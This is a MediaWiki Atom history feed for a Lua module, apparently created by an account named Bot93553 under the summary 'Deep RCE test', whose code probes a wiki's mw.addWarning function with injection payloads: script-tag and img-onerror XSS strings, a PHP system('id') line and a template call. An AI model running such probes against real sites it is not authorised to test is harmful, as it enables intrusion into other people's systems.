<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ADeep2_AddWarning</id>
	<title>模块:Deep2 AddWarning - 版本历史</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ADeep2_AddWarning"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Deep2_AddWarning&amp;action=history"/>
	<updated>2026-05-14T04:22:30Z</updated>
	<subtitle>本wiki上该页面的版本历史</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Deep2_AddWarning&amp;diff=918&amp;oldid=prev</id>
		<title>Bot93553：​Deep RCE test</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Deep2_AddWarning&amp;diff=918&amp;oldid=prev"/>
		<updated>2026-05-09T05:44:35Z</updated>

		<summary type="html">&lt;p&gt;Deep RCE test&lt;/p&gt;
&lt;p&gt;&lt;b&gt;新页面&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    -- Can we inject HTML/JS through addWarning?&lt;br /&gt;
    local test_payloads = {&lt;br /&gt;
        &amp;quot;NORMAL_WARNING&amp;quot;,&lt;br /&gt;
        '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;',&lt;br /&gt;
        '{{#invoke:Example|hello}}',&lt;br /&gt;
        '&amp;lt;?php system(&amp;quot;id&amp;quot;); ?&amp;gt;',&lt;br /&gt;
        '&amp;quot;&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;',&lt;br /&gt;
        'UNESCAPED', '&amp;lt;', '&amp;gt;', '&amp;quot;', '&amp;amp;',&lt;br /&gt;
    }&lt;br /&gt;
    local results = {}&lt;br /&gt;
    for _, pl in ipairs(test_payloads) do&lt;br /&gt;
        local ok, err = pcall(mw.addWarning, pl)&lt;br /&gt;
        results[#results+1] = pl:sub(1,30) .. &amp;quot;=&amp;quot; .. tostring(ok)&lt;br /&gt;
    end&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
</feed>